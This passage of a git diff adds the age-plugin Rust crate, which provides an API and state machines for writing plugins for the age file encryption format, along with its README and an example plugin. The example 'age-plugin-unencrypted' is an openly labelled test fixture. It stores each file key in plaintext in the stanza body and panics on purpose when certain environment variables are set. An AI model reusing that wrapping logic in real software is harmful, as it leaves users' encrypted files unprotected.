`age_plugin::Callbacks` methods now return `age_core::plugin::Error` instead + of `()` for internal errors, following changes to `age_core::plugin::Result`. + +## [0.1.0] - 2021-05-02 +Initial beta release! diff --git a/lib/rage/age-plugin/Cargo.toml b/lib/rage/age-plugin/Cargo.toml new file mode 100644 index 0000000..023b3c5 --- /dev/null +++ b/lib/rage/age-plugin/Cargo.toml @@ -0,0 +1,27 @@ +[package] +name = "age-plugin" +description = "[BETA] API for writing age plugins." +version = "0.6.0" +authors.workspace = true +repository.workspace = true +readme = "README.md" +license.workspace = true +edition.workspace = true +rust-version.workspace = true + +[dependencies] +# Dependencies exposed in a public API: +# (Breaking upgrades to these require a breaking upgrade to this crate.) +age-core = { workspace = true, features = ["plugin"] } + +# Dependencies used internally: +# (Breaking upgrades to these are usually backwards-compatible, but check MSRVs.) +base64.workspace = true +bech32.workspace = true +chrono.workspace = true + +[dev-dependencies] +clap.workspace = true + +[lib] +bench = false diff --git a/lib/rage/age-plugin/README.md b/lib/rage/age-plugin/README.md new file mode 100644 index 0000000..d1300f3 --- /dev/null +++ b/lib/rage/age-plugin/README.md @@ -0,0 +1,178 @@ +# age-plugin Rust library + +This crate provides an API for building age plugins. + +## Introduction + +The [age file encryption format] follows the "one well-oiled joint" design philosophy. +The mechanism for extensibility (within a particular format version) is the recipient +stanzas within the age header: file keys can be wrapped in any number of ways, and age +clients are required to ignore stanzas that they do not understand. + +The core APIs that exercise this mechanism are: +- A recipient that wraps a file key and returns a stanza. +- An identity that unwraps a stanza and returns a file key. + +The age plugin system provides a mechanism for exposing these core APIs across process +boundaries. It has two main components: + +- A map from recipients and identities to plugin binaries. +- State machines for wrapping and unwrapping file keys. + +With this composable design, you can implement a recipient or identity that you might +use directly with the [`age`] library crate, and also deploy it as a plugin binary for +use with clients like [`rage`]. + +[age file encryption format]: https://age-encryption.org/v1 +[`age`]: https://crates.io/crates/age +[`rage`]: https://crates.io/crates/rage + +## Mapping recipients and identities to plugin binaries + +age plugins are identified by an arbitrary case-insensitive string `NAME`. This string +is used in three places: + +- Plugin-compatible recipients are encoded using Bech32 with the HRP `age1name` + (lowercase). +- Plugin-compatible identities are encoded using Bech32 with the HRP + `AGE-PLUGIN-NAME-` (uppercase). +- Plugin binaries (to be started by age clients) are named `age-plugin-name`. + +Users interact with age clients by providing either recipients for file encryption, or +identities for file decryption. When a plugin recipient or identity is provided, the +age client searches the `PATH` for a binary with the corresponding plugin name. + +Recipient stanza types are not required to be correlated to specific plugin names. +When decrypting, age clients will pass all recipient stanzas to every connected +plugin. Plugins MUST ignore stanzas that they do not know about. + +A plugin binary may handle multiple recipient or identity types by being present in +the `PATH` under multiple names. This can be implemented with symlinks or aliases to +the canonical binary. + +Multiple plugin binaries can support the same recipient and identity types; the first +binary found in the `PATH` will be used by age clients. Some Unix OSs support +"alternatives", which plugin binaries should leverage if they provide support for a +common recipient or identity type. + +Note that the identity specified by a user doesn't need to point to a specific +decryption key, or indeed contain any key material at all. It only needs to contain +sufficient information for the plugin to locate the necessary key material. + +### Standard age keys + +A plugin MAY support decrypting files encrypted to native age recipients, by including +support for the `x25519` recipient stanza. Such plugins will pick their own name, and +users will use identity files containing identities that specify that plugin name. + +## Example plugin binary + +The following example uses `clap` to parse CLI arguments, but any argument parsing +logic will work as long as it can detect the `--age-plugin=STATE_MACHINE` flag. + +```rust +use age_core::format::{FileKey, Stanza}; +use age_plugin::{ + identity::{self, IdentityPluginV1}, + print_new_identity, + recipient::{self, RecipientPluginV1}, + Callbacks, run_state_machine, +}; +use clap::Parser; + +use std::collections::HashMap; +use std::io; + +struct RecipientPlugin; + +impl RecipientPluginV1 for RecipientPlugin { + fn add_recipient( + &mut self, + index: usize, + plugin_name: &str, + bytes: &[u8], + ) -> Result<(), recipient::Error> { + todo!() + } + + fn add_identity( + &mut self, + index: usize, + plugin_name: &str, + bytes: &[u8] + ) -> Result<(), recipient::Error> { + todo!() + } + + fn wrap_file_keys( + &mut self, + file_keys: Vec, + mut callbacks: impl Callbacks, + ) -> io::Result>, Vec>> { + todo!() + } +} + +struct IdentityPlugin; + +impl IdentityPluginV1 for IdentityPlugin { + fn add_identity( + &mut self, + index: usize, + plugin_name: &str, + bytes: &[u8] + ) -> Result<(), identity::Error> { + todo!() + } + + fn unwrap_file_keys( + &mut self, + files: Vec>, + mut callbacks: impl Callbacks, + ) -> io::Result>>> { + todo!() + } +} + +#[derive(Debug, Parser)] +struct PluginOptions { + #[arg(help = "run the given age plugin state machine", long)] + age_plugin: Option, +} + +fn main() -> io::Result<()> { + let opts = PluginOptions::parse(); + + if let Some(state_machine) = opts.age_plugin { + // The plugin was started by an age client; run the state machine. + run_state_machine( + &state_machine, + Some(|| RecipientPlugin), + Some(|| IdentityPlugin), + )?; + return Ok(()); + } + + // Here you can assume the binary is being run directly by a user, + // and perform administrative tasks like generating keys. + + Ok(()) +} +``` + +## License + +Licensed under either of + + * Apache License, Version 2.0, ([LICENSE-APACHE](../LICENSE-APACHE) or + http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](../LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +### Contribution + +Unless you explicitly state otherwise, any contribution intentionally +submitted for inclusion in the work by you, as defined in the Apache-2.0 +license, shall be dual licensed as above, without any additional terms or +conditions. diff --git a/lib/rage/age-plugin/README.tpl b/lib/rage/age-plugin/README.tpl new file mode 100644 index 0000000..41727f4 --- /dev/null +++ b/lib/rage/age-plugin/README.tpl @@ -0,0 +1,20 @@ +# age-plugin Rust library + +{{readme}} + +## License + +Licensed under either of + + * Apache License, Version 2.0, ([LICENSE-APACHE](../LICENSE-APACHE) or + http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](../LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +### Contribution + +Unless you explicitly state otherwise, any contribution intentionally +submitted for inclusion in the work by you, as defined in the Apache-2.0 +license, shall be dual licensed as above, without any additional terms or +conditions. diff --git a/lib/rage/age-plugin/examples/age-plugin-unencrypted.rs b/lib/rage/age-plugin/examples/age-plugin-unencrypted.rs new file mode 100644 index 0000000..f88018a --- /dev/null +++ b/lib/rage/age-plugin/examples/age-plugin-unencrypted.rs @@ -0,0 +1,219 @@ +use age_core::{ + format::{FileKey, Stanza}, + secrecy::ExposeSecret, +}; +use age_plugin::{ + identity::{self, IdentityPluginV1}, + print_new_identity, + recipient::{self, RecipientPluginV1}, + run_state_machine, Callbacks, PluginHandler, +}; +use clap::Parser; + +use std::collections::{HashMap, HashSet}; +use std::convert::Infallible; +use std::env; +use std::io; + +const PLUGIN_NAME: &str = "unencrypted"; +const RECIPIENT_TAG: &str = PLUGIN_NAME; + +fn explode(location: &str) { + if let Ok(s) = env::var("AGE_EXPLODES") { + if s == location { + panic!("Env variable AGE_EXPLODES={} is set. Boom! 💥", location); + } + } +} + +struct FullHandler; + +impl PluginHandler for FullHandler { + type RecipientV1 = RecipientPlugin; + type IdentityV1 = IdentityPlugin; + + fn recipient_v1(self) -> io::Result { + Ok(RecipientPlugin) + } + + fn identity_v1(self) -> io::Result { + Ok(IdentityPlugin) + } +} + +struct RecipientHandler; + +impl PluginHandler for RecipientHandler { + type RecipientV1 = RecipientPlugin; + type IdentityV1 = Infallible; + + fn recipient_v1(self) -> io::Result { + Ok(RecipientPlugin) + } +} + +struct IdentityHandler; + +impl PluginHandler for IdentityHandler { + type RecipientV1 = Infallible; + type IdentityV1 = IdentityPlugin; + + fn identity_v1(self) -> io::Result { + Ok(IdentityPlugin) + } +} + +struct RecipientPlugin; + +impl RecipientPluginV1 for RecipientPlugin { + fn add_recipient( + &mut self, + index: usize, + plugin_name: &str, + _bytes: &[u8], + ) -> Result<(), recipient::Error> { + eprintln!("age-plugin-unencrypted: RecipientPluginV1::add_recipient called"); + explode("recipient"); + if plugin_name == PLUGIN_NAME { + // A real plugin would store the recipient here. + Ok(()) + } else { + Err(recipient::Error::Recipient { + index, + message: "invalid recipient".to_owned(), + }) + } + } + + fn add_identity( + &mut self, + index: usize, + plugin_name: &str, + _bytes: &[u8], + ) -> Result<(), recipient::Error> { + eprintln!("age-plugin-unencrypted: RecipientPluginV1::add_identity called"); + explode("identity"); + if plugin_name == PLUGIN_NAME { + // A real plugin would store the identity. + Ok(()) + } else { + Err(recipient::Error::Identity { + index, + message: "invalid identity".to_owned(), + }) + } + } + + fn labels(&mut self) -> HashSet { + let mut labels = HashSet::new(); + if let Ok(s) = env::var("AGE_PLUGIN_LABELS") { + for label in s.split(',') { + labels.insert(label.into()); + } + } + labels + } + + fn wrap_file_keys( + &mut self, + file_keys: Vec, + mut callbacks: impl Callbacks, + ) -> io::Result>, Vec>> { + eprintln!("age-plugin-unencrypted: RecipientPluginV1::wrap_file_keys called"); + explode("wrap"); + // A real plugin would wrap the file key here. + let _ = callbacks + .message("This plugin doesn't have any recipient-specific logic. It's unencrypted!")?; + Ok(Ok(file_keys + .into_iter() + .map(|file_key| { + // TODO: This should return one stanza per recipient and identity. + vec![Stanza { + tag: RECIPIENT_TAG.to_owned(), + args: vec!["does".to_owned(), "nothing".to_owned()], + body: file_key.expose_secret().to_vec(), + }] + }) + .collect())) + } +} + +struct IdentityPlugin; + +impl IdentityPluginV1 for IdentityPlugin { + fn add_identity( + &mut self, + index: usize, + plugin_name: &str, + _bytes: &[u8], + ) -> Result<(), identity::Error> { + eprintln!("age-plugin-unencrypted: IdentityPluginV1::add_identity called"); + explode("identity"); + if plugin_name == PLUGIN_NAME { + // A real plugin would store the identity. + Ok(()) + } else { + Err(identity::Error::Identity { + index, + message: "invalid identity".to_owned(), + }) + } + } + + fn unwrap_file_keys( + &mut self, + files: Vec>, + mut callbacks: impl Callbacks, + ) -> io::Result>>> { + eprintln!("age-plugin-unencrypted: IdentityPluginV1::unwrap_file_keys called"); + explode("unwrap"); + let mut file_keys = HashMap::with_capacity(files.len()); + for (file_index, stanzas) in files.into_iter().enumerate() { + for stanza in stanzas { + if stanza.tag == RECIPIENT_TAG { + // A real plugin would attempt to unwrap the file key with the stored + // identities. + let _ = callbacks.message("This identity does nothing!")?; + file_keys.entry(file_index).or_insert_with(|| { + FileKey::try_init_with_mut(|file_key| { + if stanza.body.len() == file_key.len() { + file_key.copy_from_slice(&stanza.body); + Ok(()) + } else { + panic!("File key is wrong length") + } + }) + }); + break; + } + } + } + Ok(file_keys) + } +} + +#[derive(Debug, Parser)] +struct PluginOptions { + #[arg(help = "run the given age plugin state machine", long)] + age_plugin: Option, +} + +fn main() -> io::Result<()> { + let opts = PluginOptions::parse(); + + if let Some(state_machine) = opts.age_plugin { + if let Ok(s) = env::var("AGE_HALF_PLUGIN") { + match s.as_str() { + "recipient" => run_state_machine(&state_machine, RecipientHandler), + "identity" => run_state_machine(&state_machine, IdentityHandler), + _ => panic!("Env variable AGE_HALF_PLUGIN={s} has unknown value. Boom! 💥"), + } + } else { + run_state_machine(&state_machine, FullHandler) + } + } else { + // A real plugin would generate a new identity here. + print_new_identity(PLUGIN_NAME, &[], &[]); + Ok(()) + } +} diff --git a/lib/rage/age-plugin/src/identity.rs b/lib/rage/age-plugin/src/identity.rs new file mode 100644 index 0000000..7431014 --- /dev/null +++ b/lib/rage/age-plugin/src/identity.rs @@ -0,0 +1,370 @@ +//! Identity plugin helpers. + +use age_core::{ + format::{FileKey, Stanza}, + plugin::{self, BidirSend, Connection}, + secrecy::{ExposeSecret, SecretString}, +}; +use base64::{prelude::BASE64_STANDARD_NO_PAD, Engine}; +use bech32::FromBase32; + +use std::collections::HashMap; +use std::convert::Infallible; +use std::io; + +use crate::{Callbacks, PLUGIN_IDENTITY_PREFIX}; + +const ADD_IDENTITY: &str = "add-identity"; +const RECIPIENT_STANZA: &str = "recipient-stanza"; + +/// The interface that age implementations will use to interact with an age plugin. +/// +/// Implementations of this trait will be used within the [`identity-v1`] state machine. +/// +/// [`identity-v1`]: https://c2sp.org/age-plugin#unwrapping-with-identity-v1 +pub trait IdentityPluginV1 { + /// Stores an identity that the user would like to use for decrypting age files. + /// + /// `plugin_name` is the name of the binary that resolved to this plugin. + /// + /// Returns an error if the identity is unknown or invalid. + fn add_identity(&mut self, index: usize, plugin_name: &str, bytes: &[u8]) -> Result<(), Error>; + + /// Attempts to unwrap the file keys contained within the given age recipient stanzas, + /// using identities previously stored via [`add_identity`]. + /// + /// Returns a `HashMap` containing the unwrapping results for each file: + /// + /// - A list of errors, if any stanzas for a file cannot be unwrapped that detectably + /// should be unwrappable. + /// + /// - A [`FileKey`], if any stanza for a file can be successfully unwrapped. + /// + /// Note that if all known and valid stanzas for a given file cannot be unwrapped, and + /// none are expected to be unwrappable, that file has no entry in the `HashMap`. That + /// is, file keys that cannot be unwrapped are implicit. + /// + /// `callbacks` can be used to interact with the user, to have them take some physical + /// action or request a secret value. + /// + /// [`add_identity`]: IdentityPluginV1::add_identity + fn unwrap_file_keys( + &mut self, + files: Vec>, + callbacks: impl Callbacks, + ) -> io::Result>>>; +} + +impl IdentityPluginV1 for Infallible { + fn add_identity(&mut self, _: usize, _: &str, _: &[u8]) -> Result<(), Error> { + // This is never executed. + Ok(()) + } + + fn unwrap_file_keys( + &mut self, + _: Vec>, + _: impl Callbacks, + ) -> io::Result>>> { + // This is never executed. + Ok(HashMap::new()) + } +} + +/// The interface that age plugins can use to interact with an age implementation. +struct BidirCallbacks<'a, 'b, R: io::Read, W: io::Write>(&'b mut BidirSend<'a, R, W>); + +impl<'a, 'b, R: io::Read, W: io::Write> Callbacks for BidirCallbacks<'a, 'b, R, W> { + /// Shows a message to the user. + /// + /// This can be used to prompt the user to take some physical action, such as + /// inserting a hardware key. + fn message(&mut self, message: &str) -> plugin::Result<()> { + self.0 + .send("msg", &[], message.as_bytes()) + .map(|res| res.map(|_| ())) + } + + fn confirm( + &mut self, + message: &str, + yes_string: &str, + no_string: Option<&str>, + ) -> age_core::plugin::Result { + let metadata: Vec<_> = Some(yes_string) + .into_iter() + .chain(no_string) + .map(|s| BASE64_STANDARD_NO_PAD.encode(s)) + .collect(); + let metadata: Vec<_> = metadata.iter().map(|s| s.as_str()).collect(); + + self.0 + .send("confirm", &metadata, message.as_bytes()) + .and_then(|res| match res { + Ok(s) => match &s.args[..] { + [x] if x == "yes" => Ok(Ok(true)), + [x] if x == "no" => Ok(Ok(false)), + _ => Err(io::Error::new( + io::ErrorKind::InvalidData, + "Invalid response to confirm command", + )), + }, + Err(e) => Ok(Err(e)), + }) + } + + fn request_public(&mut self, message: &str) -> plugin::Result { + self.0 + .send("request-public", &[], message.as_bytes()) + .and_then(|res| match res { + Ok(s) => String::from_utf8(s.body) + .map_err(|_| { + io::Error::new(io::ErrorKind::InvalidData, "response is not UTF-8") + }) + .map(Ok), + Err(e) => Ok(Err(e)), + }) + } + + /// Requests a secret value from the user, such as a passphrase. + /// + /// `message` will be displayed to the user, providing context for the request. + fn request_secret(&mut self, message: &str) -> plugin::Result { + self.0 + .send("request-secret", &[], message.as_bytes()) + .and_then(|res| match res { + Ok(s) => String::from_utf8(s.body) + .map_err(|_| io::Error::new(io::ErrorKind::InvalidData, "secret is not UTF-8")) + .map(|s| Ok(SecretString::from(s))), + Err(e) => Ok(Err(e)), + }) + } + + fn error(&mut self, error: Error) -> plugin::Result<()> { + error.send(self.0).map(|()| Ok(())) + } +} + +/// The kinds of errors that can occur within the identity plugin state machine. +pub enum Error { + /// An error caused by a specific identity. + Identity { + /// The index of the identity. + index: usize, + /// The error message. + message: String, + }, + /// A general error that occured inside the state machine. + Internal { + /// The error message. + message: String, + }, + /// An error caused by a specific stanza. + /// + /// Note that unknown stanzas MUST be ignored by plugins; this error is only for + /// stanzas that have a supported tag but are otherwise invalid (indicating an invalid + /// age file). + Stanza { + /// The index of the file containing the stanza. + file_index: usize, + /// The index of the stanza within the file. + stanza_index: usize, + /// The error message. + message: String, + }, +} + +impl Error { + fn kind(&self) -> &str { + match self { + Error::Identity { .. } => "identity", + Error::Internal { .. } => "internal", + Error::Stanza { .. } => "stanza", + } + } + + fn message(&self) -> &str { + match self { + Error::Identity { message, .. } => message, + Error::Internal { message } => message, + Error::Stanza { message, .. } => message, + } + } + + fn send(self, phase: &mut BidirSend) -> io::Result<()> { + let index = match self { + Error::Identity { index, .. } => Some((index.to_string(), None)), + Error::Internal { .. } => None, + Error::Stanza { + file_index, + stanza_index, + .. + } => Some((file_index.to_string(), Some(stanza_index.to_string()))), + }; + + let metadata = match &index { + Some((file_index, Some(stanza_index))) => vec![self.kind(), file_index, stanza_index], + Some((index, None)) => vec![self.kind(), index], + None => vec![self.kind()], + }; + + phase + .send("error", &metadata, self.message().as_bytes())? + .unwrap(); + + Ok(()) + } +} + +/// Runs the identity plugin v1 protocol. +pub(crate) fn run_v1(mut plugin: P) -> io::Result<()> { + let mut conn = Connection::accept(); + + // Phase 1: receive identities and stanzas + let (identities, recipient_stanzas) = { + let (identities, stanzas, _, _) = conn.unidir_receive( + (ADD_IDENTITY, |s| match (&s.args[..], &s.body[..]) { + ([identity], []) => Ok(identity.clone()), + _ => Err(Error::Internal { + message: format!( + "{} command must have exactly one metadata argument and no data", + ADD_IDENTITY + ), + }), + }), + (RECIPIENT_STANZA, |mut s| { + if s.args.len() >= 2 { + let file_index = s.args.remove(0); + s.tag = s.args.remove(0); + file_index + .parse::() + .map(|i| (i, s)) + .map_err(|_| Error::Internal { + message: format!( + "first metadata argument to {} must be an integer", + RECIPIENT_STANZA + ), + }) + } else { + Err(Error::Internal { + message: format!( + "{} command must have at least two metadata arguments", + RECIPIENT_STANZA + ), + }) + } + }), + (None, |_| Ok(())), + (None, |_| Ok(())), + )?; + + // Now that we have the full list of identities, parse them as Bech32 and add them + // to the plugin. + let identities = identities.and_then(|items| { + let errors: Vec<_> = items + .into_iter() + .enumerate() + .map(|(index, item)| { + bech32::decode(&item) + .ok() + .and_then(|(hrp, data, variant)| { + if hrp.starts_with(PLUGIN_IDENTITY_PREFIX) + && hrp.ends_with('-') + && variant == bech32::Variant::Bech32 + { + Vec::from_base32(&data).ok().map(|data| (hrp, data)) + } else { + None + } + }) + .ok_or_else(|| Error::Identity { + index, + message: "Invalid identity encoding".to_owned(), + }) + .and_then(|(hrp, bytes)| { + plugin.add_identity( + index, + &hrp[PLUGIN_IDENTITY_PREFIX.len()..hrp.len() - 1], + &bytes, + ) + }) + }) + .filter_map(|res| res.err()) + .collect(); + + if errors.is_empty() { + Ok(()) + } else { + Err(errors) + } + }); + + let stanzas = stanzas.and_then(|recipient_stanzas| { + let mut stanzas: Vec> = Vec::new(); + let mut errors: Vec = vec![]; + for (file_index, stanza) in recipient_stanzas { + if let Some(file) = stanzas.get_mut(file_index) { + file.push(stanza); + } else if stanzas.len() == file_index { + stanzas.push(vec![stanza]); + } else { + errors.push(Error::Internal { + message: format!( + "{} file indices are not ordered and monotonically increasing", + RECIPIENT_STANZA + ), + }); + } + } + if errors.is_empty() { + Ok(stanzas) + } else { + Err(errors) + } + }); + + (identities, stanzas) + }; + + // Phase 2: interactively unwrap + conn.bidir_send(|mut phase| { + let stanzas = match (identities, recipient_stanzas) { + (Ok(()), Ok(stanzas)) => stanzas, + (Err(errors1), Err(errors2)) => { + for error in errors1.into_iter().chain(errors2.into_iter()) { + error.send(&mut phase)?; + } + return Ok(()); + } + (Err(errors), _) | (_, Err(errors)) => { + for error in errors { + error.send(&mut phase)?; + } + return Ok(()); + } + }; + + let unwrapped = plugin.unwrap_file_keys(stanzas, BidirCallbacks(&mut phase))?; + + for (file_index, file_key) in unwrapped { + match file_key { + Ok(file_key) => { + phase + .send( + "file-key", + &[&format!("{}", file_index)], + file_key.expose_secret(), + )? + .unwrap(); + } + Err(errors) => { + for error in errors { + error.send(&mut phase)?; + } + } + } + } + + Ok(()) + }) +} diff --git a/lib/rage/age-plugin/src/lib.rs b/lib/rage/age-plugin/src/lib.rs new file mode 100644 index 0000000..93b8c61 --- /dev/null +++ b/lib/rage/age-plugin/src/lib.rs @@ -0,0 +1,346 @@ +//! This crate provides an API for building age plugins. +//! +//! # Introduction +//! +//! The [age file encryption format] follows the "one well-oiled joint" design philosophy. +//! The mechanism for extensibility (within a particular format version) is the recipient +//! stanzas within the age header: file keys can be wrapped in any number of ways, and age +//! clients are required to ignore stanzas that they do not understand. +//! +//! The core APIs that exercise this mechanism are: +//! - A recipient that wraps a file key and returns a stanza. +//! - An identity that unwraps a stanza and returns a file key. +//! +//! The age plugin system provides a mechanism for exposing these core APIs across process +//! boundaries. It has two main components: +//! +//! - A map from recipients and identities to plugin binaries. +//! - State machines for wrapping and unwrapping file keys. +//! +//! With this composable design, you can implement a recipient or identity that you might +//! use directly with the [`age`] library crate, and also deploy it as a plugin binary for +//! use with clients like [`rage`]. +//! +//! [age file encryption format]: https://age-encryption.org/v1 +//! [`age`]: https://crates.io/crates/age +//! [`rage`]: https://crates.io/crates/rage +//! +//! # Mapping recipients and identities to plugin binaries +//! +//! age plugins are identified by an arbitrary case-insensitive string `NAME`. This string +//! is used in three places: +//! +//! - Plugin-compatible recipients are encoded using Bech32 with the HRP `age1name` +//! (lowercase). +//! - Plugin-compatible identities are encoded using Bech32 with the HRP +//! `AGE-PLUGIN-NAME-` (uppercase). +//! - Plugin binaries (to be started by age clients) are named `age-plugin-name`. +//! +//! Users interact with age clients by providing either recipients for file encryption, or +//! identities for file decryption. When a plugin recipient or identity is provided, the +//! age client searches the `PATH` for a binary with the corresponding plugin name. +//! +//! Recipient stanza types are not required to be correlated to specific plugin names. +//! When decrypting, age clients will pass all recipient stanzas to every connected +//! plugin. Plugins MUST ignore stanzas that they do not know about. +//! +//! A plugin binary may handle multiple recipient or identity types by being present in +//! the `PATH` under multiple names. This can be implemented with symlinks or aliases to +//! the canonical binary. +//! +//! Multiple plugin binaries can support the same recipient and identity types; the first +//! binary found in the `PATH` will be used by age clients. Some Unix OSs support +//! "alternatives", which plugin binaries should leverage if they provide support for a +//! common recipient or identity type. +//! +//! Note that the identity specified by a user doesn't need to point to a specific +//! decryption key, or indeed contain any key material at all. It only needs to contain +//! sufficient information for the plugin to locate the necessary key material. +//! +//! ## Standard age keys +//! +//! A plugin MAY support decrypting files encrypted to native age recipients, by including +//! support for the `x25519` recipient stanza. Such plugins will pick their own name, and +//! users will use identity files containing identities that specify that plugin name. +//! +//! # Example plugin binary +//! +//! The following example uses `clap` to parse CLI arguments, but any argument parsing +//! logic will work as long as it can detect the `--age-plugin=STATE_MACHINE` flag. +//! +//! ``` +//! use age_core::format::{FileKey, Stanza}; +//! use age_plugin::{ +//! identity::{self, IdentityPluginV1}, +//! print_new_identity, +//! recipient::{self, RecipientPluginV1}, +//! Callbacks, PluginHandler, run_state_machine, +//! }; +//! use clap::Parser; +//! +//! use std::collections::{HashMap, HashSet}; +//! use std::io; +//! +//! struct Handler; +//! +//! impl PluginHandler for Handler { +//! type RecipientV1 = RecipientPlugin; +//! type IdentityV1 = IdentityPlugin; +//! +//! fn recipient_v1(self) -> io::Result { +//! Ok(RecipientPlugin) +//! } +//! +//! fn identity_v1(self) -> io::Result { +//! Ok(IdentityPlugin) +//! } +//! } +//! +//! struct RecipientPlugin; +//! +//! impl RecipientPluginV1 for RecipientPlugin { +//! fn add_recipient( +//! &mut self, +//! index: usize, +//! plugin_name: &str, +//! bytes: &[u8], +//! ) -> Result<(), recipient::Error> { +//! todo!() +//! } +//! +//! fn add_identity( +//! &mut self, +//! index: usize, +//! plugin_name: &str, +//! bytes: &[u8] +//! ) -> Result<(), recipient::Error> { +//! todo!() +//! } +//! +//! fn labels(&mut self) -> HashSet { +//! todo!() +//! } +//! +//! fn wrap_file_keys( +//! &mut self, +//! file_keys: Vec, +//! mut callbacks: impl Callbacks, +//! ) -> io::Result>, Vec>> { +//! todo!() +//! } +//! } +//! +//! struct IdentityPlugin; +//! +//! impl IdentityPluginV1 for IdentityPlugin { +//! fn add_identity( +//! &mut self, +//! index: usize, +//! plugin_name: &str, +//! bytes: &[u8] +//! ) -> Result<(), identity::Error> { +//! todo!() +//! } +//! +//! fn unwrap_file_keys( +//! &mut self, +//! files: Vec>, +//! mut callbacks: impl Callbacks, +//! ) -> io::Result>>> { +//! todo!() +//! } +//! } +//! +//! #[derive(Debug, Parser)] +//! struct PluginOptions { +//! #[arg(help = "run the given age plugin state machine", long)] +//! age_plugin: Option, +//! } +//! +//! fn main() -> io::Result<()> { +//! let opts = PluginOptions::parse(); +//! +//! if let Some(state_machine) = opts.age_plugin { +//! // The plugin was started by an age client; run the state machine. +//! run_state_machine(&state_machine, Handler)?; +//! return Ok(()); +//! } +//! +//! // Here you can assume the binary is being run directly by a user, +//! // and perform administrative tasks like generating keys. +//! +//! Ok(()) +//! } +//! ``` + +#![forbid(unsafe_code)] +// Catch documentation errors caused by code changes. +#![deny(rustdoc::broken_intra_doc_links)] +#![deny(missing_docs)] + +use age_core::secrecy::SecretString; +use bech32::Variant; +use std::io; + +pub mod identity; +pub mod recipient; + +// Plugin HRPs are age1[name] and AGE-PLUGIN-[NAME]- +const PLUGIN_RECIPIENT_PREFIX: &str = "age1"; +const PLUGIN_IDENTITY_PREFIX: &str = "age-plugin-"; + +/// Prints the newly-created identity and corresponding recipient to standard out. +/// +/// A "created" time is included in the output, set to the current local time. +pub fn print_new_identity(plugin_name: &str, identity: &[u8], recipient: &[u8]) { + use bech32::ToBase32; + + println!( + "# created: {}", + chrono::Local::now().to_rfc3339_opts(chrono::SecondsFormat::Secs, true) + ); + println!( + "# recipient: {}", + bech32::encode( + &format!("{}{}", PLUGIN_RECIPIENT_PREFIX, plugin_name), + recipient.to_base32(), + Variant::Bech32 + ) + .expect("HRP is valid") + ); + println!( + "{}", + bech32::encode( + &format!("{}{}-", PLUGIN_IDENTITY_PREFIX, plugin_name), + identity.to_base32(), + Variant::Bech32, + ) + .expect("HRP is valid") + .to_uppercase() + ); +} + +/// Runs the plugin state machine defined by `state_machine`. +/// +/// This should be triggered if the `--age-plugin=state_machine` flag is provided as an +/// argument when starting the plugin. +pub fn run_state_machine(state_machine: &str, handler: impl PluginHandler) -> io::Result<()> { + use age_core::plugin::{IDENTITY_V1, RECIPIENT_V1}; + + match state_machine { + RECIPIENT_V1 => recipient::run_v1(handler.recipient_v1()?), + IDENTITY_V1 => identity::run_v1(handler.identity_v1()?), + _ => Err(io::Error::new( + io::ErrorKind::InvalidInput, + "unknown plugin state machine", + )), + } +} + +/// The interfaces that age implementations will use to interact with an age plugin. +/// +/// This trait exists to encapsulate the set of arguments to [`run_state_machine`] that +/// different plugins may want to provide. +/// +/// # How to implement this trait +/// +/// ## Full plugins +/// +/// - Set all associated types to your plugin's implementations. +/// - Override all default methods of the trait. +/// +/// ## Recipient-only plugins +/// +/// - Set [`PluginHandler::RecipientV1`] to your plugin's implementation. +/// - Override [`PluginHandler::recipient_v1`] to return an instance of your type. +/// - Set [`PluginHandler::IdentityV1`] to [`std::convert::Infallible`]. +/// - Don't override [`PluginHandler::identity_v1`]. +/// +/// ## Identity-only plugins +/// +/// - Set [`PluginHandler::RecipientV1`] to [`std::convert::Infallible`]. +/// - Don't override [`PluginHandler::recipient_v1`]. +/// - Set [`PluginHandler::IdentityV1`] to your plugin's implementation. +/// - Override [`PluginHandler::identity_v1`] to return an instance of your type. +pub trait PluginHandler: Sized { + /// The plugin's [`recipient-v1`] implementation. + /// + /// [`recipient-v1`]: https://c2sp.org/age-plugin#wrapping-with-recipient-v1 + type RecipientV1: recipient::RecipientPluginV1; + + /// The plugin's [`identity-v1`] implementation. + /// + /// [`identity-v1`]: https://c2sp.org/age-plugin#unwrapping-with-identity-v1 + type IdentityV1: identity::IdentityPluginV1; + + /// Returns an instance of the plugin's [`recipient-v1`] implementation. + /// + /// [`recipient-v1`]: https://c2sp.org/age-plugin#wrapping-with-recipient-v1 + fn recipient_v1(self) -> io::Result { + Err(io::Error::new( + io::ErrorKind::InvalidInput, + "plugin doesn't support recipient-v1 state machine", + )) + } + + /// Returns an instance of the plugin's [`identity-v1`] implementation. + /// + /// [`identity-v1`]: https://c2sp.org/age-plugin#unwrapping-with-identity-v1 + fn identity_v1(self) -> io::Result { + Err(io::Error::new( + io::ErrorKind::InvalidInput, + "plugin doesn't support identity-v1 state machine", + )) + } +} + +/// The interface that age plugins can use to interact with an age implementation. +pub trait Callbacks { + /// Shows a message to the user. + /// + /// This can be used to prompt the user to take some physical action, such as + /// inserting a hardware key. + fn message(&mut self, message: &str) -> age_core::plugin::Result<()>; + + /// Requests that the user provides confirmation for some action. + /// + /// This can be used to, for example, request that a hardware key the plugin wants to + /// try either be plugged in, or skipped. + /// + /// - `message` is the request or call-to-action to be displayed to the user. + /// - `yes_string` and (optionally) `no_string` will be displayed on buttons or next + /// to selection options in the user's UI. + /// + /// Returns: + /// - `Ok(true)` if the user selected the option marked with `yes_string`. + /// - `Ok(false)` if the user selected the option marked with `no_string` (or the + /// default negative confirmation label). + /// - `Err(Error::Fail)` if the confirmation request could not be given to the user + /// (for example, if there is no UI for displaying messages). + /// - `Err(Error::Unsupported)` if the user's client does not support this callback. + fn confirm( + &mut self, + message: &str, + yes_string: &str, + no_string: Option<&str>, + ) -> age_core::plugin::Result; + + /// Requests a non-secret value from the user. + /// + /// `message` will be displayed to the user, providing context for the request. + /// + /// To request secrets, use [`Callbacks::request_secret`]. + fn request_public(&mut self, message: &str) -> age_core::plugin::Result; + + /// Requests a secret value from the user, such as a passphrase. + /// + /// `message` will be displayed to the user, providing context for the request. + fn request_secret(&mut self, message: &str) -> age_core::plugin::Result; + + /// Sends an error. + /// + /// Note: This API may be removed in a subsequent API refactor, after we've figured + /// out how errors should be handled overall, and how to distinguish between hard and + /// soft errors. + fn error(&mut self, error: E) -> age_core::plugin::Result<()>; +} diff --git 